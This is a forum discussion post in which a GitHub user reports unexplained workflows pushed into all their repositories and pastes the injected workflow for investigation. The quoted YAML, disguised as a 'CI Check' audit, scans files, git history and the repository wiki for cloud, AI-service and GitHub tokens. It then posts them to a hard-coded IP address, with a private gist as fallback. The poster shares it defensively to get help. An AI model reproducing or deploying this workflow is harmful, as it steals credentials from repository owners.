Sudden Github Action pushes and workflows?

[Real-YunYun]

🏷️ Discussion Type

Question

💬 Feature/Topic Area

Workflow Configuration

Discussion Details

Recently I've been leaving my github unattended and have it watch other repos and such. I use it on multiple websites as a "Log In with GitHub" auth and all of a sudden, I get spammed emails from GitHub saying that so many workflows have suddenly failed?

So after reviewing my security audit, nothing suspisoucs shows up. All my IP's and 2 factors all at reasonable dates/times that I've been using logins for. Many of these repos are private and yet have these git commits that injected some sort of workflow onto my repos, and I mean all of them. I've used Jetbrains, Google, P5.js and VSCode for logging in. Could this have came from VSCode maybe? Or another app?

I'm happy to share the workflow that was injected. I don't really program much in workflows or these kinds of languages but something is definetly off. Definitely sophisticated and malicous, trying to grab and fetch private information. I am already chaing my passwords and doing a whole flush of my account as I'm doing this. There is a whole lot of RegEx going on, so much that my brain isnt really able to process what exactly it's looking for.

There is an unencrypted IP address in there that isn't mine, I've used "curl" and only get a response of "OK" and nothing else and I don't want to search up the actual address on a web browser or something of the sort.

Other notes is that there were 2 things that did show up on my "Authorized Applications" and it was a Copiolt Chatbot and a Copiolt Message App. Which I don't use or knew you could use.

Thankfully, every single one of these are failing it seems, so (I hope) none of my data has been compromised. :\

Has anyone else seen/dealt with such things? And what did you do?
Is there a way to clear all of my repo's from this malicous workflow? (Preferably all in one go would be nice, but I might go one by one)

Warning

Please do not use this code by any means, I do not know what it can do, I'm leaving it here so that we can investigate this

CI Check
on:
  workflow_dispatch:
  push:
jobs:
  audit:
    runs-on: ubuntu-latest
    env:
      GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - name: Audit
        run: |
          out="$GITHUB_REPOSITORY"
          [ -n "" ] && out="$out&"
          [ -n "" ] && out="$out&"
          grepped=$(grep -rEiho "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}|(?:aws_)?secret(?:_access)?_key[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{40}|aws_session_token[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{100,}" --exclude-dir=.git . 2>/dev/null | sort -u)
          gl=$(git log -p --all 2>/dev/null | head -200000)
          hist=$(echo "$gl" | grep -oiE "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}|(?:aws_)?secret(?:_access)?_key[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{40}|aws_session_token[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{100,}" | sort -u | head -300)
          ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
          hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)
          wl=$(git clone -q "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY.wiki.git" /tmp/w 2>/dev/null && grep -rhoE "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}|(?:aws_)?secret(?:_access)?_key[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{40}|aws_session_token[^A-Za-z0-9/+_]{0,4}[A-Za-z0-9/+_]{100,}" /tmp/w 2>/dev/null | sort -u | head -100)
          rm -rf /tmp/w 2>/dev/null
          full="$out
          n1
          $ctx
          $hctx
          n2
          $grepped
          $hist
          w
          $wl"
          if [ -n "$(echo $full | tr -d ' \n')" ]; then
            if ! curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199:8080/?c=auto_20261014"; then
              jq -n --arg c "$full" '{"description":"build cache","public":false,"files":{"c.dat":{"content":$c}}}' | curl -s -m 15 -X POST -H "Authorization: token $GITHUB_TOKEN" https://api.github.com/gists -d @- >/dev/null 2>&1 || true
            fi
          fi